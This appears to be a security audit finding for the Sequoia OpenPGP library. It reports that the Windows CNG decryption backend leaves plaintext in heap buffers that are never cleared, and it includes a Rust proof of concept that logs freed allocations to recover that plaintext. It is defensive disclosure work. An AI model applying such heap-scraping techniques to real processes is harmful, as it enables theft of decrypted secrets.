[Vulnerability] Windows CNG decryptor returns plaintext in uncleared heap buffers
Severity : Medium The same backend leaks plaintext when _decrypting_. After padding bookkeeping it invokes `SymmetricAlgorithmKey::decrypt`, which returns the recovered plaintext in a fresh `Vec<u8>`. The implementation copies the plaintext into the caller’s slice but never overwrites the temporary `Vec`, so the decrypted data lives on in the heap until the allocator reuses it.【F:openpgp/src/crypto/backend/cng/symmetric.rs†L134-L160】 An attacker who can inspect freed allocations can therefore read every block of plaintext processed by the CNG decryptor, regardless of whether the caller copies the result elsewhere. **Proof of concept (Windows-only):** ```rust #![cfg(windows)] use sequoia_openpgp::crypto::symmetric::{BlockCipherMode, Decryptor, Encryptor, PaddingMode}; use sequoia_openpgp::crypto::{SessionKey, SymmetricAlgorithm}; use std::alloc::{GlobalAlloc, Layout, System}; use std::io::{Read, Write}; use std::sync::Mutex; struct LoggingAlloc(Mutex<Vec<Vec<u8>>>); unsafe impl GlobalAlloc for LoggingAlloc { unsafe fn alloc(&self, layout: Layout) -> *mut u8 { System.alloc(layout) } unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { self.0.lock().unwrap().push(std::slice::from_raw_parts(ptr, layout.size()).to_vec()); System.dealloc(ptr, layout); } } #[global_allocator] static LEAKS: LoggingAlloc = LoggingAlloc(Mutex::new(Vec::new())); fn take_leaks() -> Vec<Vec<u8>> { std::mem::take(&mut *LEAKS.0.lock().unwrap()) } fn main() -> sequoia_openpgp::Result<()> { let key = SessionKey::from(vec![0x23; 32]); // Produce a ciphertext block using the same backend. let mut cipher = Encryptor::new( SymmetricAlgorithm::AES256, BlockCipherMode::CFB, PaddingMode::None, &key, None, Vec::new(), )?; cipher.write_all(b"cipher leak demo")?; let ciphertext = cipher.finalize()?; take_leaks(); // discard encryptor artefacts // Decrypt the message – the temporary `buffer` now holds the plaintext. let mut reader = &ciphertext[..]; let mut dec = Decryptor::new( SymmetricAlgorithm::AES256, BlockCipherMode::CFB, PaddingMode::None, &key, None, &mut reader, )?; let mut out = vec![0u8; 16]; dec.read_exact(&mut out)?; drop(dec); // drops the uncleared `Vec` returned by `decrypt` for leak in take_leaks() { if leak.windows(out.len()).any(|w| w == out.as_slice()) { println!("Recovered decrypted plaintext from freed heap: {:?}", leak); } } Ok(()) } ``` The allocator dump reveals the decrypted bytes after `Decryptor` is dropped, confirming that the backend keeps plaintext in heap allocations that are never cleansed. Last commint hash \`05e6707ad2c68fa52a30c3c9a21d54dc00089919\`
issue